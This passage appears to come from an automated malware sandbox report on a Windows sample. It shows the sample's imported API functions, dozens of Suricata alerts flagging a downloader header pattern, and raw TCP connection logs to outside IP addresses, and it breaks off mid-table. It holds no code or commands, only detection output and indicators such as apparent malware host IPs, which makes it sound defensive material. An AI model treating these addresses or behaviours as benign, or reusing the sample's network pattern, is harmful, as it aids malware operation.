KERNEL32.dll	CloseHandle, CreateFileA, CreateMutexA, CreateProcessA, CreateThread, CreateToolhelp32Snapshot, DeleteFileA, ExitProcess, ExpandEnvironmentStringsA, GetCommandLineA, GetComputerNameA, GetCurrentProcessId, GetCurrentThreadId, GetFileSize, GetFileTime, GetLastError, GetModuleFileNameA, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetSystemDirectoryA, GetSystemTimeAsFileTime, GetTempFileNameA, GetTempPathA, GetTickCount, GetVersionExA, HeapAlloc, HeapFree, HeapReAlloc, LoadLibraryA, OpenProcess, Process32First, Process32Next, ReadFile, SetFileAttributesA, SetFilePointer, SetFileTime, SetPriorityClass, Sleep, TerminateProcess, VirtualAlloc, WaitForSingleObject, WriteFile, lstrcatA, lstrcmpiA, lstrcpyA, lstrlenA
USER32.dll	ExitWindowsEx, wsprintfA
WS2_32.DLL	WSAGetLastError, WSAStartup, closesocket, connect, gethostbyname, getsockopt, htons, inet_addr, ioctlsocket, recv, select, send, socket

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-08T08:39:42.054599+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49706	172.234.222.138	80	TCP
2024-09-08T08:39:43.425537+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49709	172.234.222.138	80	TCP
2024-09-08T08:39:44.997470+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49712	172.234.222.138	80	TCP
2024-09-08T08:39:46.128680+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49715	172.234.222.138	80	TCP
2024-09-08T08:39:47.303831+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49718	172.234.222.138	80	TCP
2024-09-08T08:39:49.571463+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49721	172.234.222.138	80	TCP
2024-09-08T08:39:50.701406+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49724	172.234.222.138	80	TCP
2024-09-08T08:39:52.013079+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49727	172.234.222.138	80	TCP
2024-09-08T08:39:55.404637+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49731	172.234.222.138	80	TCP
2024-09-08T08:39:58.752259+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49740	172.234.222.138	80	TCP
2024-09-08T08:40:00.349018+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49743	172.234.222.138	80	TCP
2024-09-08T08:40:02.096818+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49746	172.234.222.138	80	TCP
2024-09-08T08:40:03.505581+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49749	172.234.222.138	80	TCP
2024-09-08T08:40:06.069914+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49752	172.234.222.138	80	TCP
2024-09-08T08:40:07.245361+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49755	172.234.222.138	80	TCP
2024-09-08T08:40:08.684456+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49758	172.234.222.138	80	TCP
2024-09-08T08:40:17.004720+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49761	172.234.222.138	80	TCP
2024-09-08T08:40:21.911563+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49764	172.234.222.138	80	TCP
2024-09-08T08:40:23.064472+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49767	172.234.222.138	80	TCP
2024-09-08T08:40:24.544104+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49770	172.234.222.138	80	TCP
2024-09-08T08:40:26.959599+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49773	172.234.222.138	80	TCP
2024-09-08T08:40:30.623415+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49776	172.234.222.138	80	TCP
2024-09-08T08:40:36.328511+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49780	172.234.222.138	80	TCP
2024-09-08T08:40:38.622407+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49783	172.234.222.138	80	TCP
2024-09-08T08:40:39.891332+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49786	172.234.222.138	80	TCP
2024-09-08T08:40:42.127909+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49789	172.234.222.138	80	TCP
2024-09-08T08:40:46.333278+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49792	172.234.222.138	80	TCP
2024-09-08T08:40:49.941311+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49795	172.234.222.138	80	TCP
2024-09-08T08:40:53.456640+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49798	172.234.222.138	80	TCP
2024-09-08T08:40:58.066520+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49801	172.234.222.138	80	TCP
2024-09-08T08:41:01.339532+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49804	172.234.222.138	80	TCP
2024-09-08T08:41:02.536458+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49807	172.234.222.138	80	TCP
2024-09-08T08:41:03.704186+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49810	172.234.222.138	80	TCP
2024-09-08T08:41:04.543074+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49811	45.79.222.138	80	TCP
2024-09-08T08:41:05.546016+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49813	172.234.222.138	80	TCP
2024-09-08T08:41:06.836556+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49816	172.234.222.138	80	TCP
2024-09-08T08:41:07.975757+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49819	172.234.222.138	80	TCP
2024-09-08T08:41:09.572727+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49822	172.234.222.138	80	TCP
2024-09-08T08:41:10.734583+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49825	172.234.222.138	80	TCP
2024-09-08T08:41:11.864137+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49828	172.234.222.138	80	TCP
2024-09-08T08:41:13.018457+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49831	172.234.222.138	80	TCP
2024-09-08T08:41:15.671605+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49834	172.234.222.138	80	TCP
2024-09-08T08:41:22.417087+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58492	172.234.222.138	80	TCP
2024-09-08T08:41:25.084781+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	54707	172.234.222.138	80	TCP
2024-09-08T08:41:32.773304+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49284	172.234.222.138	80	TCP
2024-09-08T08:41:33.912391+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49287	172.234.222.138	80	TCP
2024-09-08T08:41:37.340440+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53513	172.234.222.138	80	TCP
2024-09-08T08:41:38.506902+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53516	172.234.222.138	80	TCP
2024-09-08T08:41:44.500036+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53519	172.234.222.138	80	TCP
2024-09-08T08:41:45.646170+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53522	172.234.222.138	80	TCP
2024-09-08T08:41:46.986407+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53525	172.234.222.138	80	TCP
2024-09-08T08:41:51.733624+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	57236	172.234.222.138	80	TCP
2024-09-08T08:42:00.524869+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64230	172.234.222.138	80	TCP
2024-09-08T08:42:01.681698+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64233	172.234.222.138	80	TCP
2024-09-08T08:42:02.842756+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64236	172.234.222.138	80	TCP
2024-09-08T08:42:04.194626+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64239	172.234.222.138	80	TCP
2024-09-08T08:42:10.782354+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64242	172.234.222.138	80	TCP
2024-09-08T08:42:15.986282+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64245	172.234.222.138	80	TCP
2024-09-08T08:42:17.143953+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64248	172.234.222.138	80	TCP
2024-09-08T08:42:18.392719+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64249	45.79.222.138	80	TCP
2024-09-08T08:42:19.623920+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64251	172.234.222.138	80	TCP
2024-09-08T08:42:20.772285+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64254	172.234.222.138	80	TCP
2024-09-08T08:42:21.912015+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64257	172.234.222.138	80	TCP
2024-09-08T08:42:25.341389+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64260	172.234.222.138	80	TCP
2024-09-08T08:42:28.340016+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64263	172.234.222.138	80	TCP
2024-09-08T08:42:31.754012+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64266	172.234.222.138	80	TCP
2024-09-08T08:42:33.795417+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64269	172.234.222.138	80	TCP
2024-09-08T08:42:35.470798+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64978	45.79.222.138	80	TCP
2024-09-08T08:42:36.491187+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64980	172.234.222.138	80	TCP
2024-09-08T08:42:38.696134+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64983	172.234.222.138	80	TCP
2024-09-08T08:42:40.974674+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64986	172.234.222.138	80	TCP
2024-09-08T08:42:42.094221+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64989	172.234.222.138	80	TCP
2024-09-08T08:42:43.196937+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64992	172.234.222.138	80	TCP
2024-09-08T08:42:45.538595+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64995	172.234.222.138	80	TCP
2024-09-08T08:42:47.647819+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64998	172.234.222.138	80	TCP
2024-09-08T08:42:48.883801+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65001	172.234.222.138	80	TCP
2024-09-08T08:42:51.716752+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65004	172.234.222.138	80	TCP
2024-09-08T08:42:52.994900+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65007	172.234.222.138	80	TCP
2024-09-08T08:42:55.390497+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65010	172.234.222.138	80	TCP
2024-09-08T08:42:56.549370+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65013	172.234.222.138	80	TCP
2024-09-08T08:42:57.891970+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65016	172.234.222.138	80	TCP
2024-09-08T08:42:59.053610+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65019	172.234.222.138	80	TCP
2024-09-08T08:43:00.521702+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65022	172.234.222.138	80	TCP
2024-09-08T08:43:02.590292+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65025	172.234.222.138	80	TCP
2024-09-08T08:43:05.111923+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65028	172.234.222.138	80	TCP
2024-09-08T08:43:06.274250+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65031	172.234.222.138	80	TCP
2024-09-08T08:43:08.167373+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65034	172.234.222.138	80	TCP
2024-09-08T08:43:10.402383+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65037	172.234.222.138	80	TCP
2024-09-08T08:43:13.972950+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65040	172.234.222.138	80	TCP
2024-09-08T08:43:16.139482+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65043	172.234.222.138	80	TCP
2024-09-08T08:43:18.406821+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65046	172.234.222.138	80	TCP
2024-09-08T08:43:21.458582+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65049	172.234.222.138	80	TCP
2024-09-08T08:43:23.280499+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65052	172.234.222.138	80	TCP
2024-09-08T08:43:27.805556+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65055	172.234.222.138	80	TCP
2024-09-08T08:43:28.923584+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65058	172.234.222.138	80	TCP
2024-09-08T08:43:30.169349+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65061	172.234.222.138	80	TCP
2024-09-08T08:43:32.486849+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65064	172.234.222.138	80	TCP
2024-09-08T08:43:34.045445+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65067	172.234.222.138	80	TCP
2024-09-08T08:43:38.236443+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65070	172.234.222.138	80	TCP
2024-09-08T08:43:39.559319+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65073	172.234.222.138	80	TCP
2024-09-08T08:43:42.587578+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65076	172.234.222.138	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2024 08:39:40.735564947 CEST	49704	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:40.740611076 CEST	80	49704	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:40.740698099 CEST	49704	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:40.741487980 CEST	49704	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:40.746285915 CEST	80	49704	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:40.746346951 CEST	49704	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:40.785945892 CEST	49705	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:40.790761948 CEST	80	49705	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:40.790831089 CEST	49705	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:40.790909052 CEST	49705	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:40.795706987 CEST	80	49705	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:41.281575918 CEST	80	49705	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:41.281682014 CEST	80	49705	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:41.281853914 CEST	49705	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:41.281853914 CEST	49705	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:41.552337885 CEST	49706	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:41.557286978 CEST	80	49706	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:41.557379961 CEST	49706	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:41.557493925 CEST	49706	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:41.562299013 CEST	80	49706	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:42.054517984 CEST	80	49706	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:42.054599047 CEST	49706	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:42.389945984 CEST	49707	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:42.394839048 CEST	80	49707	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:42.394927025 CEST	49707	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:42.394983053 CEST	49707	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:42.400285959 CEST	80	49707	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:42.400356054 CEST	49707	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:42.410561085 CEST	49708	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:42.415438890 CEST	80	49708	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:42.415502071 CEST	49708	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:42.415600061 CEST	49708	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:42.420537949 CEST	80	49708	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:42.918627024 CEST	80	49708	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:42.918656111 CEST	80	49708	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:42.918744087 CEST	49708	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:42.918823004 CEST	49708	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:42.919152975 CEST	49706	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:42.919497013 CEST	49709	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:42.924271107 CEST	80	49706	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:42.924299955 CEST	80	49709	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:42.924340963 CEST	49706	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:42.924401999 CEST	49709	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:42.924551964 CEST	49709	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:42.929425955 CEST	80	49709	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:43.425421000 CEST	80	49709	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:43.425537109 CEST	49709	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:43.975141048 CEST	49710	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:43.980030060 CEST	80	49710	88.198.29.97	192.168.2.5
Sep 8, 2024 08:39:43.980114937 CEST	49710	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:43.980197906 CEST	49710	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:43.985347986 CEST	80	49710	88.198.29.97	192.168.2.5
Sep 8, 2024 08:39:43.985405922 CEST	49710	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:43.996390104 CEST	49711	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:44.001588106 CEST	80	49711	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:44.001681089 CEST	49711	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:44.001760960 CEST	49711	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:44.006623983 CEST	80	49711	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:44.490937948 CEST	80	49711	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:44.490979910 CEST	80	49711	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:44.491108894 CEST	49711	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:44.491177082 CEST	49711	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:44.498259068 CEST	49709	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:44.498559952 CEST	49712	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:44.503432035 CEST	80	49712	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:44.503452063 CEST	80	49709	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:44.503549099 CEST	49709	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:44.503792048 CEST	49712	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:44.503792048 CEST	49712	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:44.508660078 CEST	80	49712	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:44.997373104 CEST	80	49712	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:44.997469902 CEST	49712	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:45.126064062 CEST	49713	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:45.130934000 CEST	80	49713	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:45.131063938 CEST	49713	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:45.136550903 CEST	49713	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:45.141520023 CEST	80	49713	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:45.141566992 CEST	49713	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:45.150923967 CEST	49714	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:45.155890942 CEST	80	49714	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:45.155960083 CEST	49714	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:45.156025887 CEST	49714	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:45.160798073 CEST	80	49714	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:45.640773058 CEST	80	49714	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:45.640825033 CEST	80	49714	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:45.640867949 CEST	49714	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:45.640943050 CEST	49714	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:45.641222000 CEST	49712	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:45.641514063 CEST	49715	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:45.646155119 CEST	80	49712	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:45.646207094 CEST	49712	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:45.646258116 CEST	80	49715	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:45.646307945 CEST	49715	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:45.646496058 CEST	49715	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:45.651210070 CEST	80	49715	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:46.128581047 CEST	80	49715	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:46.128679991 CEST	49715	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:46.278115034 CEST	49716	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:46.282980919 CEST	80	49716	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:46.283054113 CEST	49716	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:46.283143997 CEST	49716	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:46.288134098 CEST	80	49716	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:46.288187981 CEST	49716	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:46.297796011 CEST	49717	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:46.302583933 CEST	80	49717	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:46.302659988 CEST	49717	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:46.308463097 CEST	49717	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:46.313393116 CEST	80	49717	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:46.786887884 CEST	80	49717	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:46.786943913 CEST	80	49717	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:46.786998987 CEST	49717	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:46.787095070 CEST	49717	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:46.787427902 CEST	49715	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:46.787729979 CEST	49718	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:46.792424917 CEST	80	49715	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:46.792485952 CEST	49715	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:46.792505980 CEST	80	49718	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:46.792563915 CEST	49718	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:46.792670965 CEST	49718	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:46.797380924 CEST	80	49718	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:47.303736925 CEST	80	49718	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:47.303831100 CEST	49718	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:48.547957897 CEST	49719	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:48.554393053 CEST	80	49719	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:48.554460049 CEST	49719	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:48.554548979 CEST	49719	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:48.558718920 CEST	49720	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:48.559876919 CEST	80	49719	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:48.559950113 CEST	49719	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:48.564806938 CEST	80	49720	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:48.564898014 CEST	49720	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:48.564992905 CEST	49720	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:48.573523045 CEST	80	49720	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:49.052879095 CEST	80	49720	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:49.052938938 CEST	80	49720	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:49.053003073 CEST	49720	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:49.053075075 CEST	49720	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:49.058053017 CEST	49718	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:49.058346987 CEST	49721	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:49.063182116 CEST	80	49721	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:49.063244104 CEST	49721	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:49.063282013 CEST	80	49718	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:49.063327074 CEST	49718	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:49.063437939 CEST	49721	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:49.068120003 CEST	80	49721	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:49.571331024 CEST	80	49721	172.234.222.138	192.168.2.5
